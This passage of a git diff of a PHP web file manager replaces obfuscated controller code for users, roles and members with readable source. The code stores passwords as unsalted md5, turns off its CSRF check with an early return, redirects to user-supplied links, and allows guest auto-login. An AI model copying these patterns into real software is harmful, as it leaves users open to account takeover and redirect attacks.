system_member::get_info($user_id); + if(!isset($user_info['path'])){ + return; + } + $sql = new fileCache(USER_PATH.$user_info['path'].'/data/share.php'); + $user_share_arr[$user_id] = $sql; + } + return $user_share_arr[$user_id]; + } + //获取某个用户共享列表 + public static function user_share_list($user_id){ + $sql = self::user_share_sql($user_id); + $list = $sql->get(); + if($user_id == $_SESSION['kod_user']['user_id']){//自己的列表则展示密码;否则清空密码 + return $list; + } + + foreach($list as $key=>&$val){ + unset($val['share_password']); + } + return $list; + } + //获取某个用户某个共享 + public static function user_share_get($user_id,$name){ + $sql = self::user_share_sql($user_id); + return $sql->get('name',$name); + } + + + + //后台管理===================== + //管理员调用=================== + /** + * 获取用户列表数据,根据用户组筛选;默认输出所有用户 + */ + public function get($group_id='0') { + $result = self::get_user_at_group($group_id); + show_json($result); + } + + /** + * 用户添加 + * system_member/add&name=warlee&password=123&size_max=0&group_info={"0":"read","10":"write"}&role=default + */ + public function add(){ + if (!isset($this->in['name']) || //必填项 + !isset($this->in['password']) || + !isset($this->in['role']) || + !isset($this->in['group_info']) || //{"0":"read","100":"read"} + !isset($this->in['size_max']) + ) show_json($this->L["data_not_full"],false); + + $name = trim(rawurldecode($this->in['name'])); + $password = rawurldecode($this->in['password']); + $group_info = json_decode(rawurldecode($this->in['group_info']),true); + if(!is_array($group_info)){ + show_json($this->L["system_member_group_error"],false); + } + if($this->sql->get(array('name',$name))){ + show_json($this->L['error_repeat'],false); + } + + + //非系统管理员,不能将别人设置为系统管理员 + if(!$GLOBALS['is_root'] && $this->in['role']=='1'){ + show_json($this->L['group_role_error'],false); + } + + $user_array = array(); + if(isset($this->in['isImport'])){ + $arr = explode("\n",$name); + foreach($arr as $v){ + if(trim($v)!=''){ + $user_array[] = trim($v); + } + } + }else{ + $user_array[] = $name; + } + + + //批量添加 + $error_arr = array(); + foreach ($user_array as $val) { + if($this->sql->get('name',$val)){//已存在 + $error_arr[] = $val; + continue; + } + $user_id = $this->sql->get_max_id().''; + $user_info = array( + 'user_id' => $user_id, + 'name' => $val, + 'password' => md5($password), + 'role' => $this->in['role'], + 'config' => array('size_max' => floatval($this->in['size_max']),//M + 'size_use' => 1024*1024),//总大小,目前使用大小 + 'group_info'=> $group_info, + 'path' => make_path($val), + 'status' => 1, //0禁用;1启用 + 'last_login'=> '', //最后登录时间 首次登陆则激活 + 'create_time'=> time(), + ); + + if(file_exists(iconv_system(USER_PATH.$user_info['path'])) ){ + $user_info['path'] = $user_info['path'].'_'.$user_info['user_id']; + } + + if(!$GLOBALS['is_root']){ + show_json($this->L['no_permission'],false); + } + + //用户组目录 + if( isset($this->in['home_path'])){ + $user_info['home_path'] = _DIR(rawurldecode($this->in['home_path'])); + if(!file_exists($user_info['home_path'])){ + show_json($this->L['not_exists'],false); + } + $user_info['home_path'] = iconv_app($user_info['home_path']); + }else{ + unset($user_info['home_path']); + } + if ($this->sql->set($user_id,$user_info)) { + $this->_initDir($user_info['path']); + }else{ + $error_arr[] = $val; + } + } + + $success = count($user_array)-count($error_arr); + $show = " success:$success"; + if($success==count($user_array)){ + show_json($this->L['success'].$show,true,$success); + }else if($success!=0){//部分失败 + $error_info = " error:".count($error_arr); + show_json($this->L['success'].$show.$error_info,false,implode("\n",$error_arr)); + }else{ + show_json($this->L['error_repeat'],false); + } + } + + /** + * 编辑 system_member/edit&user_id=101&name=warlee&password=123&size_max=0 + * &group_info={%220%22:%22read%22,%22100%22:%22read%22}&role=default + */ + public function edit() { + if (!$this->in['user_id']) show_json($this->L["data_not_full"],false); + + $user_id = $this->in['user_id']; + $user_info = $this->sql->get($user_id); + if(!$user_info){//用户不存在,或者默认用户不能修改 + show_json($this->L['error'],false); + } + //非系统管理员,不能将别人设置为系统管理员 + if(!$GLOBALS['is_root'] && $this->in['role']=='1'){ + show_json($this->L['group_role_error'],false); + } + //非系统管理员,不能修改系统管理员 + if(!$GLOBALS['is_root'] && $user_info['role']=='1'){ + show_json($this->L['group_role_error_admin'],false); + } + + //管理员自己不能添加自己到非管理员组 + if($GLOBALS['is_root'] + && $_SESSION['kod_user']['user_id']==$user_id + && $this->in['role']!='1'){ + show_json($this->L['error'],false); + } + + //修改为一个已存在的名字则提示 + $the_name = trim(rawurldecode($this->in['name'])); + if($user_info['name']!=$the_name){ + if($this->sql->get(array('name',$the_name))){ + show_json($this->L['error_repeat'],false); + } + } + + $this->in['name'] = rawurlencode($the_name);//还原 + $edit_arr = array('name','role','password','group_info','home_path','status','size_max'); + foreach ($edit_arr as $key) { + if(!isset($this->in[$key])) continue; + $user_info[$key] = rawurldecode($this->in[$key]); + if($key == 'password'){ + $user_info['password'] = md5($user_info[$key]); + }else if($key == 'size_max'){ + $user_info['config']['size_max'] = floatval($user_info[$key]); + }else if($key == 'group_info'){//分组信息 + $user_info['group_info'] = json_decode(rawurldecode($this->in['group_info']),true); + } + } + + if(!$GLOBALS['is_root']){ + show_json($this->L['no_permission'],false); + } + + //用户组目录 + if( isset($this->in['home_path'])){ + $user_info['home_path'] = _DIR(rawurldecode($this->in['home_path'])); + if(!file_exists($user_info['home_path'])){ + show_json($this->L['not_exists'],false); + } + $user_info['home_path'] = iconv_app($user_info['home_path']); + }else{ + unset($user_info['home_path']); + } + if($this->sql->set($user_id,$user_info)){ + self::space_change($user_id);//重置用户使用空间 + show_json($this->L['success'],true,$user_info); + } + show_json($this->L['error_repeat'],false); + } + + /** + * 用户批量操作 system_member/do_action&action=&user_id=[101,222,131]¶m= + * action : + * ------------- + * del 删除用户 + * status_set 启用&禁用 param=0/1 + * role_set 权限组 param=role_id + * group_reset 重置分组 param=group_json + * group_remove_from 从某个组删除 param=group_id + * group_add 添加到某个分组 param=group_json + */ + public function do_action() { + if (!isset($this->in['user_id'])){ + show_json($this->L["username_can_not_null"],false); + } + $action = $this->in['action']; + $user_arr = json_decode($this->in['user_id'],true); + if(!is_array($user_arr)){ + show_json($this->L['error'],false); + } + if (in_array('1', $user_arr)){//批量处理,不处理系统管理员 + show_json($this->L['default_user_can_not_do'],false); + } + foreach ($user_arr as $user_id) { + switch ($action) { + case 'del'://删除 + $user_info = $this->sql->get($user_id); + if($this->sql->remove($user_id) && $user_info['name']!=''){ + del_dir(iconv_system(USER_PATH.$user_info['path'].'/')); + } + break; + case 'status_set'://禁用&启用 + $status = intval($this->in['param']); + $this->sql->set(array('user_id',$user_id),array('status',$status)); + break; + case 'role_set'://设置权限组 + $role = $this->in['param']; + //非系统管理员,不能将别人设置为系统管理员 + if(!$GLOBALS['is_root'] && $role=='1'){ + show_json($this->L['group_role_error'],false); + } + $this->sql->set(array('user_id',$user_id),array('role',$role)); + break; + case 'group_reset'://设置分组 + $group_arr = json_decode($this->in['param'],true); + if(!is_array($group_arr)){ + show_json($this->L['error'],false); + } + $this->sql->set(array('user_id',$user_id),array('group_info',$group_arr)); + break; + case 'group_remove_from'://从某个组移除 + $group_id = $this->in['param']; + $user_info = $this->sql->get($user_id); + unset($user_info['group_info'][$group_id]); + $this->sql->set($user_id,$user_info); + break; + case 'group_add'://添加到某个组 + $group_arr = json_decode($this->in['param'],true); + if(!is_array($group_arr)){ + show_json($this->L['error'],false); + } + $user_info = $this->sql->get($user_id); + foreach ($group_arr as $key => $value) { + $user_info['group_info'][$key] = $value; + } + $this->sql->set($user_id,$user_info); + default:break; + } + } + show_json($this->L['success']); + } + + public function init_install(){ + $sql = system_member::load_data(); + $list = $sql->get(); + foreach ($list as $id => &$info) {//创建用户目录及初始化 + $path = make_path($info['name']); + $this->_initDir($path); + $info['path'] = $path; + $info['create_time'] = time(); + } + $sql->reset($list); + + //初始化群组目录 + $home_folders = explode(',',$this->config['setting_system']['new_group_folder']); + $sql = system_group::load_data(); + $list = $sql->get(); + foreach ($list as $id => &$info) {//创建用户目录及初始化 + $path = make_path($info['name']); + $root_path = GROUP_PATH.$path.'/'; + foreach ($home_folders as $dir) { + mk_dir(iconv_system($root_path.'home/'.$dir)); + } + $info['path'] = $path; + $info['create_time'] = time(); + } + $sql->reset($list); + } + + //============内部处理函数============= + /** + *初始化用户数据和配置。 + */ + private function _initDir($path){ + $user_folder = array('home','recycle','data'); + $home_folders = explode(',',$this->config['setting_system']['new_user_folder']); + $root_path = USER_PATH.$path.'/'; + foreach ($user_folder as $dir) { + mk_dir(iconv_system($root_path.$dir)); + } + foreach ($home_folders as $dir) { + mk_dir(iconv_system($root_path.'home/'.$dir)); + } + fileCache::save($root_path.'data/config.php',$this->config['setting_default']); + } +} diff --git a/controller/system_role.class.php b/controller/system_role.class.php index ba66432..74d7b19 100755 --- a/controller/system_role.class.php +++ b/controller/system_role.class.php @@ -1 +1,93 @@ -sql=self::load_data();հ;}public static function load_data(){if(is_null(self::$static_sql)){self::$static_sql=system_rol_data();}return self::$static_sql;}public static function get_info($){$=self::load_data();return $->get($);ޤؘ֠Ǡݝ񆩪郓ȧ»ť;}public function get(){show_json($this->sql->get());}public function add(){$=$this->_init_data();ϬޚՁ𼑉Έ;$['role_id']=$this->sql->get_max_id().'';̲כƱ瓮;if($this->sql->set($['role_id'],$)){show_json($this->L['success'],!0,$['role_id']);}show_json($this->L['error'],!1);}public function edit(){$=$this->_init_data();ټۄЌ;$=$this->in['role_id'];if($this->sql->set($,$)){show_json($this->L['success'],!0,$);}show_json($this->L['error'],!1);}public function del(){if(!isset($this->in['role_id']))show_json($this->L["data_not_full"],!1);if(strlen($this->in['role_id'])<=0x001)show_json($this->L['default_user_can_not_do'],!1);system_member::role_remove_user_update($this->in['role_id']);if($this->sql->remove($this->in['role_id'])){show_json($this->L['success']);}show_json($this->L['error'],!1);}private function _init_data(){if(strlen($this->in['name'])<0x001)show_json($this->L["groupname_can_not_null"],!1);$=array('name'=>rawurldecode($this->in['name']));$['ext_not_allow']=$this->in['ext_not_allow'];݅ƞͽ;foreach($this->config['role_setting'] as $=>$){foreach($ as $){$=$.':'.$;if(isset($this->in[$])){$[$]=0x001;}else{$[$]=0;}}}return $;}} \ No newline at end of file +sql= self::load_data(); + } + + //保证只加载一次文件 + public static function load_data(){ + if(is_null(self::$static_sql)){ + self::$static_sql = system_rol_data(); + } + return self::$static_sql; + } + public static function get_info($the_id){ + $sql = self::load_data(); + return $sql->get($the_id); + } + + + //获取所有权限组 + public function get() { + show_json($this->sql->get()); + } + /** + * 权限添加 + */ + public function add(){ + $role = $this->_init_data(); + $role['role_id'] = $this->sql->get_max_id().''; + if ($this->sql->set($role['role_id'],$role)) { + show_json($this->L['success'],true,$role['role_id']); + } + show_json($this->L['error'],false); + } + + /** + * 编辑 + */ + public function edit(){ + $role = $this->_init_data(); + $role_id = $this->in['role_id']; + if ($this->sql->set($role_id,$role)){ + show_json($this->L['success'],true,$role_id); + } + show_json($this->L['error'],false); + } + + /** + * 删除 + */ + public function del() { + if (!isset($this->in['role_id'])) show_json($this->L["data_not_full"],false); + if (strlen($this->in['role_id']) <= 1) show_json($this->L['default_user_can_not_do'],false); + system_member::role_remove_user_update($this->in['role_id']);//用户所在权限组变更 + if($this->sql->remove($this->in['role_id'])){ + show_json($this->L['success']); + } + show_json($this->L['error'],false); + } + + //===========内部调用============ + /** + * 初始化数据 get + * 只传键即可 &ext_not_allow='php,jsp'&explorer:mkfile=1&explorer:pathRname=1 + */ + private function _init_data(){ + if (strlen($this->in['name'])<1) show_json($this->L["groupname_can_not_null"],false); + + $role_arr = array('name'=>rawurldecode($this->in['name'])); + $role_arr['ext_not_allow'] = $this->in['ext_not_allow']; + foreach ($this->config['role_setting'] as $key => $actions) { + foreach ($actions as $action) { + $k = $key.':'.$action; + if (isset($this->in[$k])){ + $role_arr[$k] = 1; + }else{ + $role_arr[$k] = 0; + } + } + } + return $role_arr; + } +} diff --git a/controller/user.class.php b/controller/user.class.php index 7bc6dd8..7f00309 100755 --- a/controller/user.class.php +++ b/controller/user.class.php @@ -1 +1,488 @@ -tpl=TEMPLATE.'user/';Ҡɴԥ՛ʼn僖ß͙Й;if(!isset($_SESSION)){$this->login(DATA_PATH."
    ".$GLOBALS['L']['path_can_not_write_data']);}else{$this->user=&$_SESSION['kod_user'];if(!isset($this->user['path'])&& isset($this->user['name'])){$this->user['path']=$this->user['name'];}}$this->notCheck=array('loginFirst','login','logout','loginSubmit','checkCode','public_link','qrcode','sso');ʚٽΧŅϧ;$this->notCheckApp=array('share','debug');–́Т;$this->config['forceWap']=is_wap()&&(!isset($_COOKIE['forceWap'])|| $_COOKIE['forceWap']=='1');ܪ໩ݘ;}public function loginCheck(){if(in_array(ST,$this->notCheckApp))return;if(in_array(ACT,$this->notCheck))return;if(isset($_SESSION['kod_login'])&& $_SESSION['kod_login']===!0){$=system_member::get_info($this->user['user_id']);$this->login_success($);return;}else if($_COOKIE['kod_user_id']!='' && $_COOKIE['kod_token']!=''){$=system_member::get_info($_COOKIE['kod_user_id']);if(!is_array($)|| !isset($['password'])){$this->logout();}if($this->make_login_token($)==$_COOKIE['kod_token']){@session_start();$_SESSION['kod_login']=!0;$_SESSION['kod_user']=$;$_SESSION['CSRF-TOKEN']=rand_string(0x014);setcookie('CSRF-TOKEN',$_SESSION['CSRF-TOKEN'],time()+0x0e10*0x0000018*0x064);setcookie('kod_user_id',$_COOKIE['kod_user_id'],time()+0x0e10*0x0000018*0x064);setcookie('kod_token',$_COOKIE['kod_token'],time()+0x0e10*0x0000018*0x064);@session_write_close();unset($_SESSION);@session_start();if(!isset($_SESSION['kod_user'])|| !is_array($_SESSION['kod_user'])){$this->login(DATA_PATH."
    ".$GLOBALS['L']['path_can_not_write_data']);}else{$this->login_success($);}return;}$this->logout();}else{if($this->config['setting_system']['auto_login']!='1'){$this->logout();}else{if(!file_exists(USER_SYSTEM.'install.lock')){$this->display('install.html');exit;}header('location:./index.php?user/loginSubmit&name=guest&password=guest');exit;ɜ¼ڦ慃Ҫ;}}}private function login_success($){$this->user=$;if(!$['path']){$this->login($this->L['kod_version_error']);}else if($['status']==0){$this->login($this->L['login_error_user_not_use']);}else if($['role']==''){$this->login($this->L['login_error_role']);}define('USER',USER_PATH.$this->user['path'].'/');define('USER_TEMP',USER.'data/temp/');ⶣЕ賰;define('USER_RECYCLE',USER.'recycle/');ۗ濰ϿĮ㑎βޓᐁ߻;if(!file_exists(USER)){$this->logout();}if($this->user['role']=='1'){define('MYHOME',USER.'home/');define('HOME','');$GLOBALS['web_root']=WEB_ROOT;$GLOBALS['is_root']=0x001;}else{$=user_home_path($this->user);define('HOME',$);define('MYHOME','/');$GLOBALS['web_root']='';$GLOBALS['is_root']=0;}$this->config['user']=fileCache::load(USER.'data/config.php');if(!isset($this->config['user']['file_repeat'])|| !isset($this->config['user']['resize_config'])){$this->config['user']['file_repeat']=$this->config['setting_default']['file_repeat'];$this->config['user']['recycle_open']=$this->config['setting_default']['recycle_open'];$this->config['user']['resize_config']=$this->config['setting_default']['resize_config'];}if($this->config['user']['theme']==''){$this->config['user']=$this->config['setting_default'];}}public function sso(){$ہ=!1;ّ榩Ҵ֣ᤇ蠛Ϋ¡;$="not login";ܻ;if(isset($_SESSION)&& $_SESSION['kod_login']==0x001){$=$_SESSION['kod_user'];if($['role']=='1' || !isset($this->in['check'])|| !isset($this->in['value'])){$ہ=!0;}$=!1;switch($this->in['check']){case 'user_id':$=$['user_id'];break;ꧨȘ̫춾郝̶ʗ͓Ҍ屉݇Ӷ;case 'user_name':$=$['name'];༂꽕;break;䶽;case 'role_id':$=$['role'];break;͂Дγ;case 'role_name':$=system_role::get_info($['role']);$=$['name'];ׯݺ;break;case 'group_id':$=array_keys($['group_info']);â뫢᯳ҍӴ׃Ԗݓ;break;Ϟ…痛ݵզ죮;case 'group_name':$=array();躊ìݴּЯ…;foreach($['group_info'] as $=>$){$Œ=system_group::get_info($);ۀ;$[]=$Œ['name'];馝;}break;냄჊֎;default:break;}if(!$ہ&& $!=!1){if((is_string($)&& $==$this->in['value'])||(is_array($)&& in_array($this->in['value'],$))){$ہ=!0;}else{$=$this->in['check'].' not accessed, It\'s must be "'.$this->in['value'].'"';}}}if($ہ){@session_name('KOD_SESSION_SSO');@session_id($_COOKIE['KOD_SESSION_SSO']);@session_start();$_SESSION[$this->in['app']]='success';@session_write_close();header('location:'.$this->in['link']);exit;}$this->login($);}public function public_link(){$=$this->config['setting_system']['system_password'];Nj;$=$this->in['fid'];࠰˘磓ܒ;$=Mcrypt::decode($,$);ڤЫ㘏ɞ;if(strlen($)==0){show_json($this->L['error'],!1);}$=isset($_GET['download']);file_put_out($,$);˻ϩܱͧՉή̺݃ͮۧ;}public function common_js(){$=ob_get_clean();$=BASIC_PATH;$=USER_PATH;$=GROUP_PATH;ח;if(!$GLOBALS['is_root']){$='/';$='/';$='/';}$=array('lang' =>LANGUAGE_TYPE,'is_root' =>$GLOBALS['is_root'],'user_id' =>$this->user['user_id'],'web_root' =>$GLOBALS['web_root'],'web_host' =>HOST,'app_host' =>APPHOST,'static_path' =>STATIC_PATH,'basic_path' =>$,'user_path' =>$,'group_path' =>$,'myhome' =>MYHOME,'upload_max' =>file_upload_size(),'version' =>KOD_VERSION,'json_data' =>"",'self_share' =>system_member::user_share_list($this->user['user_id']),'user_config' =>$this->config['user'],'KOD_GROUP_PATH' =>KOD_GROUP_PATH,'KOD_GROUP_SHARE' =>KOD_GROUP_SHARE,'KOD_USER_SHARE' =>KOD_USER_SHARE,'KOD_USER_RECYCLE' =>KOD_USER_RECYCLE,'KOD_USER_FAV' =>KOD_USER_FAV,'KOD_GROUP_ROOT_SELF' =>KOD_GROUP_ROOT_SELF,'KOD_GROUP_ROOT_ALL' =>KOD_GROUP_ROOT_ALL,);if(isset($this->config['setting_system']['version_hash'])){$['version_hash']=$this->config['setting_system']['version_hash'];}if(!isset($GLOBALS['auth'])){$GLOBALS['auth']=array();}$='LNG='.json_encode($GLOBALS['L']).';';$.= 'AUTH='.json_encode($GLOBALS['auth']).';';$.= 'G='.json_encode($).';';֊;header("Content-Type: application/javascript");޸亠;echo $;Ȁɵ׀ͨć;}public function login($=''){if(!file_exists(USER_SYSTEM.'install.lock')){chmod_path(BASIC_PATH,0777);$this->display('install.html');exit;}$this->assign('msg',$);if(is_wap()){$this->display('login_wap.html');}else{$this->display('login.html');}exit;}public function loginFirst(){if(!file_exists(USER_SYSTEM.'install.lock')){touch(USER_SYSTEM.'install.lock');if(!isset($this->in['password'])){$this->in['password']='admin';}$='1';$=system_member::load_data();$ث=$->get($);$ث['password']=md5($this->in['password']);ʶߛۡIJ婼掘ߗޚ҈֐ݵٵ䖾;$->set($,$ث);߀ߴŗӉևµ•΋ܧ콬΂;if($ث['path']=='' && $ث['create_time']==''){$憦=new system_member();$憦->init_install();}}header('location:./index.php?user/login');exit;Ͻ͞ɖ񟭜툯Ͼǣߕ;}public function logout(){session_start();user_logout();؆;}public function loginSubmit(){if(isset($this->in['login_token'])){$¦=$this->config['settings']['api_login_tonken'];$=explode('|',$this->in['login_token']);if(strlen($¦)<0x05|| count($)!=0x0002|| md5(base64_decode($[0]).$¦)!=$[0x001]){$this->login_display("Api param error!",!1);}$this->in['name']=urlencode(base64_decode($[0]));$=!0;}else{if(!isset($this->in['name'])|| !isset($this->in['password'])){$this->login_display($this->L['login_not_null'],!1);}if(need_check_code()&& $this->in['name']!='guest' && $_SESSION['check_code']!==strtolower($this->in['check_code'])){$this->login_display($this->L['code_error'],!1);}}session_start();$=rawurldecode($this->in['name']);ٕ䦋ّҗƎ䫤;$ɱ=rawurldecode($this->in['password']);$=system_member::load_data();;$=$->get('name',$);캘彎ǯ;if($&& $){}else if($===!1|| md5($ɱ)!=$['password']){$this->login_display($this->L['password_error'],!1);}else if($['status']==0){$this->login_display($this->L['login_error_user_not_use'],!1);}else if($['role']==''){$this->login_display($this->L['login_error_role'],!1);}if($['last_login']==''){$ը=init_controller('app');$ը->init_app($);}$['last_login']=time();$->set($['user_id'],$);̦Œਊ܂ɮë;$_SESSION['kod_login']=!0;򶣷ŕ;$_SESSION['kod_user']=$;㎮٨ʘ镓ݾйҴ眬;$_SESSION['CSRF-TOKEN']=rand_string(0x014);setcookie('CSRF-TOKEN',$_SESSION['CSRF-TOKEN'],time()+0x0e10*0x0000018*0x064);̱;setcookie('kod_user_id',$['user_id'],time()+0x0e10*0x0000018*0x064);緛ףܤם͗쀚̹;if($this->in['rember_password']=='1'){setcookie('kod_token',$this->make_login_token($),time()+0x0e10*0x0000018*0x064);}$this->login_display('ok',!0);}private function login_display($,$){if(isset($this->in['is_ajax'])){show_json($,$);}else{if($){$='./';if(isset($this->in['link'])){$=rawurldecode($this->in['link']);}header('location:'.$);}else{$this->login($);ҡŎ讻ɮ磂Ծ;}}exit;סҳ;}private function make_login_token($){$ɐ=$this->config['setting_system']['system_password'];return md5($['password'].$ɐ.$['user_id']);}public function version_install(){}public function changePassword(){$=rawurldecode($this->in['password_now']);ྔɸĈŒȽ˸ؐܣ;$劤=rawurldecode($this->in['password_new']);ꫡνεƇئố;if(!$&& !$劤)show_json($this->L['password_not_null'],!1);if($this->user['password']==md5($)){$ԙ=system_member::load_data();$this->user['password']=md5($劤);$ԙ->set($this->user['user_id'],$this->user);show_json('success');}else{show_json($this->L['old_password_error'],!1);}}private function checkCSRF(){return;if(!isset($_SERVER['HTTP_X_CSRF_TOKEN'])|| $_SERVER['HTTP_X_CSRF_TOKEN']!=$_SESSION['CSRF-TOKEN']){show_json('xtoken_error',!1);}}public function authCheck(){if(in_array(ST,$this->notCheckApp))return;if(in_array(ACT,$this->notCheck))return;$=system_role::get_info($this->user['role']);if(!array_key_exists(ST,$this->config['role_setting']))return;if(!in_array(ACT,$this->config['role_setting'][ST]))return;$this->checkCSRF();禥́Կ҂쇔;if(isset($GLOBALS['is_root'])&& $GLOBALS['is_root']==0x001)return;$=ST.':'.ACT;if(!isset($['userShare:set'])){$['userShare:set']=0x001;}if(!isset($['explorer:fileDownload'])){$['explorer:fileDownload']=0x001;}$['user:common_js']=0x001;$['explorer:pathDeleteRecycle']=$['explorer:pathDelete'];;$['explorer:pathCopyDrag']=$['explorer:pathCuteDrag'];͊ߋ剪잷¼ۣلԸ;$['explorer:officeSave']=$['editor:fileSave'];;$['explorer:imageRotate']=$['editor:fileSave'];$['explorer:fileDownloadRemove']=$['explorer:fileDownload'];;$['explorer:zipDownload']=$['explorer:fileDownload'];$['explorer:fileProxy']=!0;;$['editor:fileGet']=!0;$['explorer:officeView']=!0;լ֥;if(!$['explorer:fileDownload']){$['explorer:zip']=!1;}$['userShare:del']=$['userShare:set'];if($[$]!=0x001)show_json($this->L['no_permission'],!1);$GLOBALS['auth']=$;瞠غٷǶ;$=array('mkfile' =>$this->check_key('path'),'pathRname' =>$this->check_key('rname_to'),'fileUpload'=> isset($_FILES['file']['name'])?$_FILES['file']['name']:'','fileSave' =>$this->check_key('path'));ߖ˜;if(array_key_exists(ACT,$)&& !checkExt($[ACT])){show_json($this->L['no_permission_ext'],!1);}}private function check_key($){if(!isset($this->in[$])){return '';}return is_string($this->in[$])?rawurldecode($this->in[$]):'';}public function checkCode(){session_start();load_class('myCaptcha');$=new myCaptcha(mt_rand(0x00003,0x000004));$_SESSION['check_code']=$->get_string();㤶;}public function qrcode(){if(!function_exists('imagecolorallocate')){header('location:http://qr.liantu.com/api.php?text='.$this->in['url']);exit;}include CLASS_DIR.'phpqrcode.php';QRcode::png(rawurldecode($this->in['url']));}} \ No newline at end of file +tpl = TEMPLATE . 'user/'; + if(!isset($_SESSION)){//避免session不可写导致循环跳转 + $this->login(DATA_PATH."
    ".$GLOBALS['L']['path_can_not_write_data']); + }else{ + $this->user = &$_SESSION['kod_user']; + if(!isset($this->user['path']) && isset($this->user['name'])){//旧版本数据 + $this->user['path'] = $this->user['name']; + } + } + //不需要判断的action + $this->notCheck = array('loginFirst','login','logout','loginSubmit','checkCode','public_link','qrcode','sso'); + $this->notCheckApp = array('share','debug'); + $this->config['forceWap'] = is_wap() && (!isset($_COOKIE['forceWap']) || $_COOKIE['forceWap'] == '1'); + } + + /** + * 登录状态检测;并初始化数据状态 + */ + public function loginCheck(){ + if(in_array(ST,$this->notCheckApp)) return;//不需要判断的控制器 + if(in_array(ACT,$this->notCheck)) return;//不需要判断的action + if(isset($_SESSION['kod_login']) && $_SESSION['kod_login']===true){ + $user = system_member::get_info($this->user['user_id']); + $this->login_success($user); + return; + }else if($_COOKIE['kod_user_id']!='' && $_COOKIE['kod_token']!=''){ + $user = system_member::get_info($_COOKIE['kod_user_id']); + if (!is_array($user) || !isset($user['password'])) { + $this->logout(); + } + if($this->make_login_token($user) == $_COOKIE['kod_token']){ + @session_start();//re start + $_SESSION['kod_login'] = true; + $_SESSION['kod_user']= $user; + $_SESSION['CSRF-TOKEN'] = rand_string(20); + setcookie('CSRF-TOKEN',$_SESSION['CSRF-TOKEN'], time()+3600*24*100); + setcookie('kod_user_id', $_COOKIE['kod_user_id'], time()+3600*24*100); + setcookie('kod_token',$_COOKIE['kod_token'],time()+3600*24*100); + //$this->login_success($user); + + //check if session work + @session_write_close(); + unset($_SESSION); + @session_start(); + if( !isset($_SESSION['kod_user']) || + !is_array($_SESSION['kod_user'])){ + $this->login(DATA_PATH."
    ".$GLOBALS['L']['path_can_not_write_data']); + }else{ + $this->login_success($user); + } + return; + } + $this->logout();//session user数据不存在 + }else{ + if ($this->config['setting_system']['auto_login'] != '1') { + $this->logout();//不自动登录 + }else{ + if (!file_exists(USER_SYSTEM.'install.lock')) { + $this->display('install.html'); + exit; + } + header('location:./index.php?user/loginSubmit&name=guest&password=guest'); + exit; + } + } + } + private function login_success($user){ + $this->user = $user; + if(!$user['path']){//服务器管理后立即生效 + $this->login($this->L['kod_version_error']); + }else if($user['status'] == 0){ + $this->login($this->L['login_error_user_not_use']); + }else if($user['role']==''){ + $this->login($this->L['login_error_role']); + } + define('USER',USER_PATH.$this->user['path'].'/');//utf-8 + define('USER_TEMP',USER.'data/temp/'); + define('USER_RECYCLE',USER.'recycle/'); + if (!file_exists(iconv_system(USER))) { + $this->login( "User/".get_path_this(USER)." ".$this->L['not_exists']); + } + + $user_home = user_home_path($this->user);//utf-8 + if ($this->user['role'] == '1') { + define('MYHOME',$user_home); + define('HOME',''); + $GLOBALS['web_root'] = WEB_ROOT;//服务器目录 + $GLOBALS['is_root'] = 1; + }else{ + define('HOME',$user_home); + define('MYHOME','/'); + $GLOBALS['web_root'] = '';//从服务器开始到用户目录 + $GLOBALS['is_root'] = 0; + } + $this->config['user'] = fileCache::load(USER.'data/config.php'); + if( !isset($this->config['user']['file_repeat']) || + !isset($this->config['user']['resize_config'])){ + $this->config['user']['file_repeat'] = $this->config['setting_default']['file_repeat']; + $this->config['user']['recycle_open'] = $this->config['setting_default']['recycle_open']; + $this->config['user']['resize_config'] = $this->config['setting_default']['resize_config']; + } + if($this->config['user']['theme']==''){ + $this->config['user'] = $this->config['setting_default']; + } + } + + /** + * 共享kod登陆并跳转 + * check: 校验方式:user_id|user_name|role_id|role_name|group_id|group_name,为空则所有登陆用户 + * value: 对应的值 + * link : 登陆后的跳转链接 + */ + public function sso(){ + $result = false; + $error = "not login"; + if(isset($_SESSION) && $_SESSION['kod_login'] == 1){//避免session不可写导致循环跳转 + $user = $_SESSION['kod_user']; + //admin 或者不填则允许所有kod用户登陆 + if( $user['role'] == '1' || + !isset($this->in['check']) || + !isset($this->in['value']) ){ + $result = true; + } + + $check_value = false; + switch ($this->in['check']) { + case 'user_id':$check_value = $user['user_id'];break; + case 'user_name':$check_value = $user['name'];break; + case 'role_id':$check_value = $user['role'];break; + case 'role_name': + $role = system_role::get_info($user['role']); + $check_value = $role['name']; + break; + case 'group_id': + $check_value = array_keys($user['group_info']); + break; + case 'group_name': + $check_value = array(); + foreach ($user['group_info'] as $group_id=>$val){ + $item = system_group::get_info($group_id); + $check_value[] = $item['name']; + } + break; + default:break; + } + if(!$result && $check_value != false){ + if( (is_string($check_value) && $check_value == $this->in['value']) || + (is_array($check_value) && in_array($this->in['value'],$check_value)) + ){ + $result = true; + }else{ + $error = $this->in['check'].' not accessed, It\'s must be "'.$this->in['value'].'"'; + } + } + } + if($result){ + @session_name('KOD_SESSION_SSO'); + @session_id($_COOKIE['KOD_SESSION_SSO']); + @session_start(); + $_SESSION[$this->in['app']] = 'success'; + @session_write_close(); + header('location:'.$this->in['link']); + exit; + } + $this->login($error); + } + + //临时文件访问 + public function public_link(){ + $pass = $this->config['setting_system']['system_password']; + $fid = $this->in['fid'];//$this->in['fid'] 第三项 + $path = Mcrypt::decode($fid,$pass); + if (strlen($path) == 0) { + show_json($this->L['error'],false); + } + $is_download = isset($_GET['download']); + file_put_out($path,$is_download); + } + public function common_js(){ + $out = ob_get_clean(); + $basic_path = BASIC_PATH; + $user_path = USER_PATH; + $group_path = GROUP_PATH; + if (!$GLOBALS['is_root']) {//对非root用户隐藏地址 + $basic_path = '/'; + $user_path = '/'; + $group_path = '/'; + } + $the_config = array( + 'lang' => LANGUAGE_TYPE, + 'system_os' => $this->config['system_os'], + 'is_root' => $GLOBALS['is_root'], + 'user_id' => $this->user['user_id'], + 'web_root' => $GLOBALS['web_root'], + 'web_host' => HOST, + 'app_host' => APPHOST, + 'static_path' => STATIC_PATH, + 'basic_path' => $basic_path, + 'user_path' => $user_path, + 'group_path' => $group_path, + + 'myhome' => MYHOME, + 'upload_max' => file_upload_size(), + 'param_rewrite' => $this->config['settings']['param_rewrite'], + 'version' => KOD_VERSION, + 'json_data' => "", + 'self_share' => system_member::user_share_list($this->user['user_id']), + 'user_config' => $this->config['user'], + + //虚拟目录 + 'KOD_GROUP_PATH' => KOD_GROUP_PATH, + 'KOD_GROUP_SHARE' => KOD_GROUP_SHARE, + 'KOD_USER_SHARE' => KOD_USER_SHARE, + 'KOD_USER_RECYCLE' => KOD_USER_RECYCLE, + 